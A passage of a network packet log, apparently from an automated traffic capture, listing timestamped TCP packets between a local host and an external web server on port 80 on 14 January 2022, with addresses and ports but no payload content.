Jan 14, 2022 21:05:51.261303902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261327028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261338949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261347055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261368990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261379957 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261393070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261416912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261432886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261440992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261466026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261476040 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261491060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261518002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261535883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261540890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261568069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261579990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261593103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261617899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261626005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.266374111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.266402960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.266423941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.301505089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320014000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320040941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320058107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320075035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320080996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320094109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320111036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320115089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320128918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320151091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320151091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320168972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320173025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320189953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320207119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320208073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320224047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320240974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320240974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320260048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320277929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320288897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320295095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320312023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320312977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320332050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320348024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320349932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320364952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320383072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320391893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320400000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320416927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320417881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320436954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320453882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320455074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320473909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320492029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320499897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320508957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320527077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320528030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320547104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320564032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320564985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320583105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320599079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320600986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320616961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320632935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320633888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320652962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320668936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320668936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320688009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320703030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320705891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320724964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320739985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320741892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320760012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320775032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320777893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320796013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320811987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320812941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320831060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320846081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320848942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320868015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320883989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320887089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320905924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320920944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320924044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320941925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320957899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320960999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320979118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.320995092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.320997000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321016073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321031094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321032047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321049929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321064949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321067095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321085930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321100950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321103096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321120977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321135998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321139097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321156979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321171999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321175098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321192026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321207047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321208954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321225882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321240902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321243048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321260929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321275949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321279049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321296930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321312904 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321315050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321333885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321348906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321351051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321369886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321383953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321387053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321405888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321420908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321424961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321443081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321455956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321460962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321479082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321492910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.321496964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.321526051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.324098110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.324119091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.324166059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.359414101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.374666929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379291058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379312992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379326105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379338980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379358053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379358053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379370928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379384041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379385948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379399061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379417896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379431009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379431009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379445076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379456043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379458904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379472971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379482985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379492998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379513025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379525900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379528999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379543066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379560947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379561901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379584074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379594088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379602909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379622936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379623890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379643917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379662991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379674911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379683971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379702091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379704952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379714966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379729986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379740000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379743099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379757881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379765987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379775047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379795074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379801989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379807949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379828930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379839897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379848003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379865885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379867077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379879951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379893064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379905939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379921913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379923105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379936934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379949093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379962921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379966974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379981041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.379991055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.379998922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380018950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380032063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380039930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380049944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380069017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380085945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380100012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380112886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380120993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380125999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380145073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380153894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380157948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380170107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380171061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380184889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380194902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380198002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380212069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380213022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380227089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380239010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380248070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380253077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380266905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380280018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380283117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380294085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380307913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380310059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380321980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380327940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380336046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380352974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380362034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380366087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380379915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380394936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380398035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380415916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380419970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380435944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380439043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380449057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380461931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380475044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380491018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380503893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380506992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380517006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380531073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380542994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380548000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380565882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380567074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380579948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380587101 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380594015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380608082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380620003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.380631924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.380651951 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.381620884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.381934881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.381970882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.381999969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.431178093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.432579041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.438724041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.438781977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.438800097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.438824892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.438868046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.438868999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.438909054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.438949108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.438950062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.438991070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439024925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439029932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439069033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439105034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439109087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439148903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439191103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439232111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439251900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439270020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439281940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439310074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439348936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439348936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439388037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439423084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439428091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439466953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439507008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439511061 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439547062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439584970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439598083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439624071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439660072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439662933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439702034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439740896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439742088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439781904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439826965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439831018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439872026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439913034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.439914942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.439956903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440001965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440005064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.440047979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440079927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440110922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440151930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440193892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.440220118 CET	49882	80	192.168.2.5	81.163.30.181
